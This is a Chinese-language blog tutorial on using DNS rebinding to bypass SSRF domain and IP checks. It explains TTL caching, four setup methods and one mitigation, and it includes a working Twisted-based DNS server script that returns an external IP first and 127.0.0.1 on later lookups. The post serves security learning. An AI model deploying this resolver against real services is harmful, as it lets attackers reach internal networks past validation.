前言
在SSRF漏洞的利用中,经常能看到后端对输入域名或者IP的各种检验过滤,那我们就需要用各种方式来进行绕过了,而其中有一种叫做DNS Rebinding(DNS重绑定)的绕过方式有别于其他的绕过方式,很有趣。
DNS、TTL
访问域名的时候,服务器会先向DNS服务器发出解析请求,DNS服务器再向域名指定的授权DNS服务器发出解析请求,得到该域名对应的IP,然后去访问该IP地址。
TTL指DNS缓存的存活时间。在第一次DNS请求后,请求结果会被DNS服务器缓存下来,在缓存存活时间内不再请求,而是直接将结果返回。
后端检验
一般来说后端检验并执行会向DNS服务器发出两次请求,第一次询问对应IP是否合法(在内网),第二次获取对应IP进行访问。有时候可以通过302跳转来绕过。
DNS Rebinding
通过各种手段,让后端第一次DNS请求得到的IP为外网,第二次为内网。
防御方法
缓存第一次DNS解析结果。
实现方式
第一种:特定域名实现
利用TTL=0,在第一次请求进行延时,然后趁机修改DNS解析,让第二次请求指向内网。
详情看这里:http://bendawang.site/2017/05/31/%E5%85%B3%E4%BA%8EDNS-rebinding%E7%9A%84%E6%80%BB%E7%BB%93/
可行但是不好用的方法。
第二种:向域名商添加DNS解析记录
像这样:
通过给一个子域名添加两条A记录,让DNS解析请求的时候随机返回,有1/4的几率成功绕过。
但是实际运用的时候,这种方法还不一定能行,我的两台VPS一台成功一台失败。
不是太可行,还算好用的方法。
第三种:利用ceye.io
ceye.io有提供DNS Rebinding的攻击方式,具体可以参考网站上的实例,实现方式跟2一样,没有域名的师傅们也可以玩一玩这一种方式。
第四种:向域名商添加DNS解析记录,并自行搭建DNS服务器
同样添加两条记录,分别是NS记录和A记录:
NS记录将dr子域名的解析交给ns,而ns指向我们自己的VPS,然后我们在VPS上面搭建一个DNS服务器,让第一次解析指向外网,第二次指向内网即可:
from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server
record={}
class DynamicResolver(object):
def _doDynamicResponse(self, query):
name = query.name.name
if name not in record or record[name]<1:
ip="*.*.*.*"
else:
ip="127.0.0.1"
if name not in record:
record[name]=0
record[name]+=1
print name+" ===> "+ip
answer = dns.RRHeader(
name=name,
type=dns.A,
cls=dns.IN,
ttl=0,
payload=dns.Record_A(address=b'%s'%ip,ttl=0)
)
answers = [answer]
authority = []
additional = []
return answers, authority, additional
def query(self, query, timeout=None):
return defer.succeed(self._doDynamicResponse(query))
def main():
factory = server.DNSServerFactory(
clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
)
protocol = dns.DNSDatagramProtocol(controller=factory)
reactor.listenUDP(53, protocol)
reactor.run()
if __name__ == '__main__':
raise SystemExit(main())
很多地方都能找到DNS服务器的代码,搭建完成后可以使用curl、ping、dig等多种方式来测试一下。
参考文章:
http://bendawang.site/2017/05/31/%E5%85%B3%E4%BA%8EDNS-rebinding%E7%9A%84%E6%80%BB%E7%BB%93/
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!